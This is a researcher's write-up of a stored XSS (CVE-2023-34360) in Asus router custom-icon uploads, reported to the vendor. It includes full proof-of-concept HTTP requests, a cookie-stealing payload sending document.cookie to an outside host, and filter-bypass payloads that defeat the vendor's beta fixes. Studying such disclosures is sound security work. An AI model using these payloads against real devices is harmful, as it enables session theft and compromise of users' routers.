CVE-2023-34360 - Stored XSS in Custom UserIcons

Whenever I get really bored I just turn back to my little Asus routers and say “buggo create-o” and invariably I find some sort of issue. Today I’m writing about some stored XSS I came across, receiving CVE-2023-34360

I stumbled across some functionality recently that I didn’t realize was functionality– after clicking around a bit I clicked one of the little device icons and was surprised to find a file upload form:

CLicking “Change” gives us a small list of default icons, but at the bottom we see a ‘+’ button to upload something custom. File uploads aren’t uncommon, but it’s something I hadn’t encountered yet in these devices, so I was immediately curious. Looking at the actual file upload I was a bit surprised– I expected a classic multi-part form for the file upload, and thought perhaps I could do something cheeky like perform a dir traversal and/or upload something like a web shell, that would be cool– not quite:

the custom_usericon POST parameter contains the image, but I didn’t expect the payload:

custom_usericon=D45D64B26F44%3Edata%3Aimage%2Fpng%3Bbase64%2CiVBOR

It’s pretty simple, each upload is translated into a base64 string in a data URI, and assigned to a device’s MAC address: deviceMAC>[...]

That value is then written to the DOM when the icon list is rendered.

Going from discovery to XSS was pretty simple– the PoC below is a classic XSS:

POST /start_apply2.htm HTTP/1.1
Host: 192.168.1.2
Content-Length: 1034
Origin: http://192.168.1.2
Content-Type: application/x-www-form-urlencoded
[SNIPPED]
Cookie: XXXX

current_page=&next_page=&modified=0&flag=background&action_mode=apply&action_script=saveNvram&action_wait=1&custom_clientlist=[SNIPPED]&custom_usericon=000C29CB5B40%3E'-alert(document.cookie)-'

When the “View List” button on the home page was clicked (viewing the network map), the payload is written to the page and executed :)

The app makes individual calls for the ajax_uploadicon.asp?clientmac=MAC endpoint for each device. The request above returns the following:

HTTP/1.0 200 OK
Server: httpd/2.0
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
Date: Sat, 29 Apr 2023 20:49:14 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: 0
Content-Type: text/html
Connection: close

upload_icon = 'AAAA'-alert(document.cookie)-'';
upload_icon_count="4";
upload_icon_list="F02F74D84828.log>000C29CB5B40.log>90E2BA1DE16D.log>f02f74d84828.ico>";

Pretty simple. But having some more fun, we can include a classic cookie-theft payload:

POST /start_apply2.htm HTTP/1.1
Host: 192.168.1.2
Content-Length: 1034
Origin: http://192.168.1.2
Content-Type: application/x-www-form-urlencoded
[SNIPPED]
Cookie: XXXX

current_page=&next_page=&modified=0&flag=background&action_mode=apply&action_script=saveNvram&action_wait=1&custom_clientlist=[SNIPPED]&custom_usericon=000C29CB5B40%3EAAAA'%0adocument.location="https://localh0st.run/?"%2bdocument.cookie+//';

And the response:

HTTP/1.0 200 OK
Server: httpd/2.0
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
Date: Sat, 29 Apr 2023 20:49:14 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: 0
Content-Type: text/html
Connection: close

upload_icon = 'AAAA'
document.location="https://localh0st.run"+document.cookie //';
upload_icon_count="4";
upload_icon_list="F02F74D84828.log>000C29CB5B40.log>90E2BA1DE16D.log>f02f74d84828.ico>";

Then, we see a request made out to localh0st.run :)

https://localh0st.run/?hwaddr=3C:7C:3F:53:C1:00; apps_last=; clickedItem_tab=0

In this case the cookies are actually pretty lame, but it’s fun nonetheless.

PoC - Malicious UserIcon:

Response:

Rendered:

Filter Fun

So after reporting this to Asus, they provided a beta firmware to test and after a few tries I had another working PoC:

custom_usericon=90E2BA1DE16D%3E\"%3b+onerror=alert('XSS');//

This time, the payload required a backslash-quote \" to escape the src="x" and shove the payload after the x".

Payload:

Executed:

I sent the information to Asus and they provided a second beta firmware to test.

This time popping it proved more challenging. I wasn’t able to sneak any payloads through, but after a few attempts I was noticing discrepancies in the fix– it seemed incomplete but I couldn’t prove it yet. I eventually found the filter they created in some JS, check it out below:

function getUploadIcon(clientMac) {
var result = "NoIcon";
$.ajax({
url: '/appGet.cgi?hook=get_upload_icon()&clientmac=' + clientMac,
dataType: 'json',
async: false,
success: function(response){
var base64_image = htmlEnDeCode.htmlEncode(response.get_upload_icon);
result = (isImageBase64(base64_image)) ? base64_image : "NoIcon";
}
});
return result;
function isImageBase64(str){
if(str.substr(0,11) == "data:image/"){
var base64_str = str.split(";")[1];
if(base64_str != undefined){
var img_str = base64_str.substr(7);//filter base64,
var len = img_str.length;
if(!len || len % 4 != 0 || /[^A-Z0-9+\/=]/i.test(img_str)){
return false;
}
var firstPaddingChar = img_str.indexOf('=');
return (firstPaddingChar === -1 || firstPaddingChar === len - 1 || (firstPaddingChar === len - 2 && img_str[len - 1] === '='));
}
}
return false;
}

getUploadIcon calls isImageBase64(base64_image). Let’s break it down:

1. if(str.substr(0,11) == "data:image/"){
   • Straight-forward, this line checks to see if the first 12 characters of the base64 string match data:image/. If they don’t, we’re moved to return false;. If it does, we move onto the next line
2. var base64_str = str.split(";")[1];
   • Now, the string is split on the ‘;’ delimeter and the latter half is stored as base64_str

3.  if(base64_str != undefined){
    var img_str = base64_str.substr(7);
   

   • The rest of the function is responsible for validating the Base64 itself is valid. It first checks that the string is not null, then grabs the actual base64 string with base64_str.substr(7) (remember it’s sent as base64,AAAA)

So while this looks pretty thorough, turns out we can still sneak some XSS through. What would happen if we sent a payload with an extra ; character?

We get a win with the following payload: data:image/%3bbase64\%22%20onerror=alert(1);\%22,QUFBQUFBQUFBQUFBQUFBPQ==

If we compare this to the filter, we find that the payload will be checked for a match on the first 12 characters, data:image/.

Next, the string is split on the ;, which means we have the following array:

1. data:image/%3bbase64\%22%20onerror=alert(1)
2. \%22,QUFBQUFBQUFBQUFBQUFBPQ==

Now, comparing the final check against array element 2 above (it’s actually 1):

if(base64_str != undefined){
var img_str = base64_str.substr(7);

We’ll pass the first if as the string isn’t null. We’ll then have the string \%22,QUFBQUFBQUFBQUFBQUFBPQ== validated after var img_str = base64_str.substr(7) substr split– so img_str actually becomes something like QUFBQUFBQUFBQUFBPQ==, which equals AAAAAAAAAAAA=.

Finally, this hits the DOM and is rendered as:

<img id="imgUserIcon_0" class="imgUserIcon_card" src="data:image/;base64&quot; onerror=alert(1)" <="" div="">

Dope! When the DOM is rendered by the network map pages, it executes as stored-DOM based XSS.

Final Thoughts

While this is just another XSS, I had a lot of fun with it. It’s not overly complex, but could’ve been missed pretty easily had I not put just a little more time into it– I almost sent an email saying it seemed like it was remediated, but decided I may as well take a closer look at the filter. Glad I did!